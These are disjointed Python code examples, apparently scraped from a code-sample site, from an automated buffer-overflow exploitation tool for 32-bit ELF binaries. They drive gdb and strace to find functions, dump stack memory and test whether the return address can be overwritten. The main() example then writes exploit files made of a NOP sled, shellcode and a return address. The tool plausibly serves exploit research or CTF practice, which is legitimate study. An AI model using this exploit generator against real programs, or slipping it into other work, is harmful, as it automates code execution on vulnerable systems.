Пример #1
0
def find_gdb_mem_diff():
    if not path.isfile("stack_address.c"):
        return None

    system("gcc -o temp/stack_address stack_address.c")
    if not path.isfile("temp/stack_address"):
        return None

    nongdb_addr = interact("temp/stack_address")[0].split(":")[1]
    gdb_addr_str = interact("gdb -q temp/stack_address", ["run", "quit"])[2]
    gdb_addr = re.search(r'AdDr:([x0-9a-fA-F]{4,10})',
                         gdb_addr_str).groups()[0]
    return int(nongdb_addr, 16) - int(gdb_addr, 16)
Пример #2
0
def find_first_func(elf_bin, elf_obj, mem_offset):
    #will return tuple with addr,funcname :: addr will be without offset

    funcs_list = find_all_func(elf_obj)

    first_func = find_addr(
        elf_obj['start_addr'],
        elf_obj)['func']  #first_func accordint to enry point
    first_func = first_func.split("@")[0]

    if first_func == "main":
        first_func_addr = hex(
            int(elf_obj['start_addr'], 16) + int(mem_offset, 16))
        #if first function in objdump is main or main@@Base

    else:
        system("echo -n '' > gdb.txt")
        if len(funcs_list) == 1:
            first_func_addr = funcs_list[0][0]
        else:
            gdb_cmds = [
                "b " + first_func, "run", "set logging on",
                "set logging redirect on", "while $eip"
            ]
            for func_tup in funcs_list:
                gdb_cmds.append("if $eip == " + func_tup[0])
                gdb_cmds.append("set logging off")
                gdb_cmds.append("p \"found\"")
                gdb_cmds.append("x/x $eip")
                gdb_cmds.append("c")
                gdb_cmds.append("end")

            gdb_cmds.append("stepi")
            gdb_cmds.append("end")
            gdb_cmds.append("quit")

            op = interact("gdb -q " + elf_bin, gdb_cmds)
            system("echo -n '' > gdb.txt")
            try:
                first_func_addr = re.search(r'\$1 = \"found\"\n (.+?) ',
                                            ' '.join(op)).groups()[0]
            except:
                #print("FFA : "+first_func_addr)
                #print(op)
                return None
    #return
    first_func_addr = hex(int(first_func_addr, 16) - int(mem_offset, 16))
    return (first_func_addr, find_addr(first_func_addr, elf_obj)['func'])
Пример #3
0
def find_mem_offset(elf_bin, elf_obj):
    #this function is with refernce to question asked here
    #https://stackoverflow.com/questions/54295129/elf-binary-analysis-static-vs-dynamic-how-does-assembly-code-instruction-memor

    #this function will return list, 0th ele is offset, 1st ele is True | Flase, True when result is with confidence and False without confidence
    loaded_start_addr = ""
    start_addr = ""
    first_func = find_addr(elf_obj['start_addr'], elf_obj)['func']
    #suppose first_func is main@@Base but while loading this in gdb, there is no such thing to get a breakpoint,
    #there is main @@Base is trimmed
    #experimental change
    first_func_n = first_func.split("@")[0]

    op = interact("gdb -q " + elf_bin, ["b " + first_func_n, "run", "quit"])
    for line in op:
        try:
            start_addr = re.search(r'Breakpoint 1 at (.+?)\n',
                                   line).groups()[0]
        except:
            pass
        try:
            loaded_start_addr = re.search(
                r'Breakpoint 1, (.+?) in ' + first_func_n, line).groups()[0]
        except:
            pass
    if loaded_start_addr != "" and start_addr != "":
        #guessing loaded_start_addr

        if int(loaded_start_addr, 16) == int(start_addr, 16):
            return ["0x0", True]
        elif int(loaded_start_addr, 16) == int(start_addr, 16) + int(
                "0x400000",
                16):  #adding 0x400000 according to answer in stackoverflow
            return ["0x400000", True]
        else:
            return [
                hex(int(loaded_start_addr, 16) - int(start_addr, 16)), False
            ]
    else:
        raise Exception("ealib find_mem_offset failed to find offset")
Пример #4
0
def count_stdin(elf_bin, max_inps=10):
    #will return no. of stdin inpput needed by the process
    op = []
    inps = 0
    inp_li = ["x"]
    for i in range(1, max_inps + 1):  #taking as max stdin input
        try:
            #print("trying :",inp_li*i)
            op = interact("strace " + elf_bin, inp_li * i, 2)
        except:
            for ln in op:
                try:
                    fd = re.search(r'\Aread\((\d+?),', ln).groups()[0]

                    if int(fd) == 0:
                        inps += 1
                except:
                    pass
            break
    if i == max_inps:
        return i
    else:
        return inps
Пример #5
0
def dump_memory(func_name, end_addr, elf_bin):
    #will return stack memory dump from func start to end in a list of integer values
    gdb_cmds = []
    gdb_cmds.append("break " + func_name)
    gdb_cmds.append("run < temp/inps/std_inps")
    gdb_cmds.append("break *" + end_addr)
    gdb_cmds.append("continue")
    #dumping memory , will dump +0x8 bytes, to get return addr in dumped memory
    gdb_cmds.append("dump memory " + "temp/mem_dumps/" + func_name +
                    " $esp $ebp+0x8")

    op = interact("gdb -q " + elf_bin, gdb_cmds)
    #print(op)

    if path.isfile("temp/mem_dumps/" + func_name):
        mem_dump = open("temp/mem_dumps/" + func_name, "rb").read()
        mem_dump_int = []
        for i in mem_dump:
            if not isinstance(i, int):
                i = ord(i)
            mem_dump_int.append(i)
        return mem_dump_int
    else:
        return None
Пример #6
0
def main():

    #check requirements such starce etc
    dependency_unmet = False
    if not which("strace"):
        pout(2, "strace : not found - please install")
        dependency_unmet = True
    if not which("gdb"):
        pout(2, "gdb : not found - please install")
        dependency_unmet = True
    if not which("objdump"):
        pout(2, "objdump : not found - please install")
        dependency_unmet = True
    if not which("gcc"):
        pout(2, "gcc : not found - please install")
        dependency_unmet = True
    #uncomment this
    if interact("cat /proc/sys/kernel/randomize_va_space")[0].strip(
            "\n") != '0':
        pout(2, "randomize_va_space is not 0")
        dependency_unmet = True

    if dependency_unmet:
        exit()

    #check if command line input is passed
    if len(sys.argv) < 2:
        print(sys.argv[0], "<elf_file>")
        exit()

    elf_bin = sys.argv[1]
    #check if file exists
    if not os.path.isfile(elf_bin):
        print("No such file : " + elf_bin)
        exit()

    #check if file is elf 32 i386 bit binary
    op = interact("file " + elf_bin)[0]
    if op.find("ELF 32-bit") == -1:
        pout(2, elf_bin + " is not a 32 bit ELF, should be a 32 bit ELF.")
        exit()

    elf_bin_sz = os.stat(elf_bin).st_size

    cont = True
    if elf_bin_sz > 99999:
        cont = False
        print(elf_bin + " : " + str(elf_bin_sz))
        inp = input("File too big, want to continue ? ")
        if inp in ['y', 'Y', 'yes', 'YES', 'true', '1']:
            cont = True

    if not cont:
        exit()

    ealib.print_banner()

    pout(0, "Cleaning temp files")
    ealib.clean_temp()
    pout(1, "temp files cleaned\n")

    pout(0, "Creating JSON object for : " + elf_bin)
    elf_obj = elf2json(elf_bin)
    pout(1, "JSON object created\n")
    pout(0,
         "Guessing PIE memory offset as compared to static memory addressess")
    mem_offset = ealib.guess_mem_offset(elf_bin, elf_obj)
    pout(1, "Start address : " + elf_obj['start_addr'])
    pout(1, "Memory Offset : " + mem_offset + "\n")

    pout(0, "Fetching user defined functions in binary")
    funcs_list = ealib.find_all_func(elf_obj)
    if len(funcs_list) == 0:
        pout(2, "Failed to fetch user defined functions.")
        exit()
    print(funcs_list)
    print()

    pout(0, "Finding number of stdin(s)")
    n_stdin = ealib.count_stdin(elf_bin)
    print("stdin(s) : " + str(n_stdin) + "\n")

    pout(0, "Fetching binary's call flow")
    func_flow = ealib.func_call_flow(elf_bin, elf_obj, funcs_list, n_stdin)[1]
    print(func_flow)
    print()

    pout(0, "Analysing binary for buffer overflow")

    vuln_list = ealib.bof_analysis(elf_bin, elf_obj, mem_offset, func_flow,
                                   n_stdin)
    print()
    pout(1, "bof analysis completed\n\n")

    vulnearable = False
    for vuln_dict in vuln_list:
        if vuln_dict['ret_addr']:
            vulnearable = True
            pout(
                1, " VULNERABLE : " + vuln_dict['func'] +
                "() - with buffer len " + str(vuln_dict['shell_len']) +
                " @ stack address " + vuln_dict['ret_addr'])
    print()

    if vulnearable:
        #find gdb vs non-gdb memory layout difference

        stack_mem_diff = ealib.find_gdb_mem_diff()
        if stack_mem_diff == None:
            stack_mem_diff = 0
        pout(0, "Generating shellcode(s) for vulnerable programme")

        for vuln_dict in vuln_list:
            if vuln_dict['ret_addr']:
                for key, shellc in SHELLCODES.items():

                    nop_len = vuln_dict['shell_len'] - len(shellc) - 4
                    if nop_len > 0:
                        shellcode_path = "shells_" + elf_bin.split("/")[-1]
                        os.system("mkdir " + shellcode_path +
                                  " > /dev/null 2>&1")
                        inp_file = open(shellcode_path + "/shellcode_" + key,
                                        "wb")

                        print("Creating shellcode : " + shellcode_path +
                              "/shellcode_" + key)

                        #generating shellcode to be executed

                        for i in range(vuln_dict['nth_input']):
                            if i == (vuln_dict['nth_input'] - 1):
                                ret_addr = vuln_dict['ret_addr']
                                ret_addr = hex(
                                    int(ret_addr, 16) + stack_mem_diff)
                                ret_addr = hex(
                                    int(ret_addr, 16) + 2
                                )  #adding 2 bytes ie eip will print 2 nop sled ahead...
                                ret_addr = ret_addr.strip("0xX")
                                ret_addr = ret_addr.zfill(8)
                                #ret_addr_str="\x"+ret_addr[0:2]+"\x"+ret_addr[2:4]+"\x"+ret_addr[4:6]+"\x"+ret_addr[6:8]
                                #print(ret_addr_str)
                                inp_file.write(b"\x90" * nop_len + shellc)
                                inp_file.write(
                                    binascii.unhexlify(ret_addr[6:8]))
                                inp_file.write(
                                    binascii.unhexlify(ret_addr[4:6]))
                                inp_file.write(
                                    binascii.unhexlify(ret_addr[2:4]))
                                inp_file.write(
                                    binascii.unhexlify(ret_addr[0:2]))
                            else:
                                inp_file.write("X" + "\n")
                        inp_file.close()

    else:
        pout(2, "Not vulnerable to buffer overflow")
Пример #7
0
def bof_analysis(elf_bin, elf_obj, mem_offset, func_flow=None, n_stdin=None):
    if not func_flow:
        func_flow = func_call_flow(elf_bin, elf_obj)
        func_flow = func_flow[1]
    #mem_offset=func_flow[0] #find mem_offset with guess mem_offset (if mem is randomize discontinue analysis)

    break_points = []
    for fun_tup in func_flow:
        func = fun_tup[1]
        func_n = func.split("@")[0]
        func_dict = find_func(func, elf_obj)

        if func_dict:
            for a, i in OrderedDict(
                    reversed(list(
                        elf_obj[func_dict['section']][func].items()))).items():
                if i.find("xchg") != -1 or i.find("ret") != -1 or i.find(
                        "hlt") != -1 or i.find("repz") != -1 or i.find(
                            "leave") != -1 or i.find("lea") != -1 or i.find(
                                "pop") != -1 or i.find("nop") != -1:
                    pass
                else:
                    break_points.append(
                        (func_n, hex(int("0x" + a, 16) + int(mem_offset, 16))))
                    break
        else:
            raise Exception("Func Flow's Function not found in elf_obj")
    print()
    print("\tSetting break points at following names and addresses\n\t",
          end='')
    print(break_points)
    #exit()
    #creating input files
    if not n_stdin:
        n_stdin = count_stdin(elf_bin)
    inps_file = open("temp/inps/std_inps", "wb")

    for i in range(n_stdin):  #creating input file accorindg to number of stdin
        chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
        rand_chars = rand(chars) + rand(chars) + rand(chars) + rand(chars)
        inps_file.write(rand_chars.encode('utf-8') + b"\n")
    inps_file.close()

    vuln_list = []
    for brk_tup in break_points:

        end_breakpoint = brk_tup[1]
        for i in range(6):  #max try if for mem dump in case of 0 byte result
            print("\tDumping for " + brk_tup[0] + "-> " + end_breakpoint)
            mem_dump_int = dump_memory(brk_tup[0], end_breakpoint, elf_bin)

            if not mem_dump_int:
                #not able to dump memory, hence trying to break program with one instruction above [brk_tup[0]]
                static_addr = hex(
                    int(end_breakpoint, 16) - int(mem_offset, 16))
                addr_dict = find_addr(static_addr, elf_obj)
                prev_addr = None
                for i in elf_obj[addr_dict['section']][addr_dict['func']]:
                    #print(i,static_addr)
                    if "0x" + i == static_addr:
                        break
                    prev_addr = i

                if not prev_addr:
                    break
                else:
                    end_breakpoint = hex(
                        int("0x" + str(prev_addr), 16) + int(mem_offset, 16))

            else:
                break

        if not mem_dump_int:
            vuln_details = {
                'ret_addr': None,
                'shell_len': None,
                'func': brk_tup[0],
                'egg': False,
                'nth_input': None
            }
            vuln_list.append(vuln_details)
            continue
        #	continue

        inps = open("temp/inps/std_inps").readlines()
        vuln_details = {
            'ret_addr': None,
            'shell_len': None,
            'func': None,
            'egg': False,
            'nth_input': None
        }
        vuln_details["func"] = brk_tup[0]
        nth_input = 0
        for inp in inps:
            nth_input += 1
            inpl = []
            for i in range(4):
                inpl.append(ord(inp[i]))
            #need to check if inpl is present in mem_dump in same order or not
            #print(inpl)
            offset = None
            for i in range(len(mem_dump_int)):

                if inpl[0] == int(mem_dump_int[i]):

                    if inpl[1] == mem_dump_int[
                            i + 1] and inpl[2] == mem_dump_int[
                                i + 2] and inpl[3] == mem_dump_int[i + 3]:

                        offset = i
                        break

            if offset:
                vuln_to_bof = False
                vuln_details['egg'] = True
                print("\tFound EGG in " + brk_tup[0])

                #checking if we can overwrite EIP

                #creating input file
                inps_file = open("temp/inps/std_inps1", "wb")

                shell_len = len(mem_dump_int) - offset
                for i in inps:
                    if i.find(inp) != -1:
                        inps_file.write(b"YEGG" + b"A" * (shell_len - 4) +
                                        b"\n")
                    else:
                        inps_file.write("X" + "\n")
                inps_file.close()

                gdb_cmds = []
                gdb_cmds.append("break " + brk_tup[0])
                gdb_cmds.append("run < temp/inps/std_inps1")
                gdb_cmds.append("break *" + brk_tup[1])
                gdb_cmds.append("continue")
                #dumping memory , will dump +0x8 bytes, to get return addr in dumped memory
                gdb_cmds.append("dump memory " + "temp/mem_dumps/" +
                                brk_tup[0] + " $esp $ebp+0x8")
                gdb_cmds.append(
                    "find $esp, $ebp+0x8, 0x47474559")  #hex for string YEGG

                op = interact("gdb -q " + elf_bin, gdb_cmds)
                #print(op)
                mem_dump = open("temp/mem_dumps/" + brk_tup[0], "rb").read()
                mem_dump_int = []
                for i in mem_dump[-4:]:
                    if not isinstance(i, int):
                        i = ord(i)
                    mem_dump_int.append(i)
                if mem_dump_int[0] == 65 and mem_dump_int[
                        1] == 65 and mem_dump_int[2] == 65 and mem_dump_int[
                            3] == 65:
                    #print("EIP can be ovewritten")

                    vuln_details["shell_len"] = shell_len
                    vuln_details["nth_input"] = nth_input
                    #vuln_details={"func":brk_tup[0],"shell_len":shell_len}
                    vuln_to_bof = True

                if vuln_to_bof:
                    #print(op)
                    #finding stack address to overwrite in EIP
                    try:
                        ind = op.index("1 pattern found.\n")
                        ret_addr = re.search(r'0x.+', op[ind - 1]).group()
                        vuln_details['ret_addr'] = ret_addr

                    except:
                        raise Exception(
                            "Error in finding stack return address")

        if vuln_details:
            vuln_list.append(vuln_details)

    return vuln_list
Пример #8
0
def func_call_flow(elf_bin, elf_obj, funcs_list=None, n_stdin=None):
    #will return list of
    #mem_offset
    #function name in order of call tuple(addr,func_name)
    if not funcs_list:
        funcs_list = find_all_func(elf_obj)
    if not n_stdin:
        n_stdin = count_stdin(elf_bin)
    inps_file = open("temp/inps/std_inps", "w")

    for i in range(n_stdin):  #creating input file accorindg to number of stdin
        inps_file.write("A\n")
    inps_file.close()

    gdb_cmds = []
    for func in funcs_list:
        fname = func[1].split("@")[0]
        gdb_cmds.append("break " + fname)
    gdb_cmds.append(
        "run < temp/inps/std_inps")  #so that stdin wont interrupt gdb commands
    for i in range(
            len(funcs_list) * len(funcs_list)
    ):  #adding continue n*n times, bcs there can be some recursive loop so giving max tries as n*n
        gdb_cmds.append("continue")
    #print(gdb_cmds)
    op = interact("gdb -q " + elf_bin, gdb_cmds)
    break_points = []
    break_point_hits = []

    for l in op:
        if l.find("Breakpoint") != -1:
            mat = None
            try:
                mat = re.search(r'Breakpoint (\d+?) at (\w+?)\n', l).groups()
            except:
                pass
            else:
                break_points.append(mat)

            mat = None
            try:
                mat = re.search(r'Breakpoint (\d+?), (\w+?) in (.+?) \(\)\n',
                                l).groups()
            except:
                pass
            else:
                break_point_hits.append(mat)

    #break_point list, adding func name for addrs
    for i in range(len(break_points)):
        bp = break_points[i]
        func = find_addr(bp[1], elf_obj)['func']
        break_points[i] = bp + (func, )

    #calculating offset
    offset = []
    for bph in list(set(break_point_hits)):
        for bp in break_points:
            if bp[0] == bph[0]:
                offset.append(hex(int(bph[1], 16) - int(bp[1], 16)))

    offset = list(set(offset))
    if len(offset) == 1:
        mem_offset = offset[0]
    else:
        mem_offset = None

    func_flow = []
    for bph in break_point_hits:
        for bp in break_points:
            if bp[0] == bph[0]:
                func_flow.append((bp[1], bp[2]))

    return [mem_offset, func_flow]